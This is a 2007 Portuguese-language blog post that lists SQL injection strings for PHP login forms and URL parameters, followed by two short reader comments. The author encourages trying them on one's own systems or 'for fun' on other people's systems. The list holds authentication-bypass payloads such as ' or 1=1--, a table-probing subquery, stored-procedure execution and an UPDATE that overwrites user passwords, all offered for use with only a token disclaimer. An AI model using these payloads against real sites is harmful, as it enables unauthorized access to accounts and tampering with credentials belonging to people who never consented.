Silici0 :: Blog

SQL Injection Hacks no PHP

Setembro 24, 2007 on 2:21 pm | In Informatica, php, Hacker |

Continuando a diversão de se fazer testes no seu sistema ou se divertir com sistemas de outros segue uma lista de possíveis SQL injections, lembrando que pode-se utilizar tanto no login/senha no form ou como na url quando se utilizam método de $_GET no php, vamos lá:

PLAIN TEXT

HTML:

user:admin
pass:' or 1=1--
user:' or 1=1--
admin:' or 1=1--
password:' or 1=1--
admin:' or a=a--
admin:' or 1=1--
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
1 OR 1=1
1' OR '1'='1
1'1
1 EXEC SP_ (or EXEC XP_)
1 AND 1=1
1' AND 1=(SELECT COUNT(*) FROM tablenames); --
" AND user like %name% --
"; select user like %name% --
"; update users set passw = 'newpass' where user like %name% --

Existem diversas outras formas de se fazer ataques e fazer antes pesquisas de versões, match, vetores, mapiamento do mysql e até mesmo com user do mysql interno. Mas por hoje fica a lista por aqui, lembrando que fica por sua conta e risco, isso é somente um informativo...

2 Comments »

RSS feed for comments on this post. TrackBack URI

kkkk

Comment by safdfdf — Fevereiro 19, 2008 #
Bera iniciativa, mas não funciono...

hehehehe
Continue assim, so não floodar os coments por favor.

Obrigado

Comment by silici0 — Fevereiro 19, 2008 #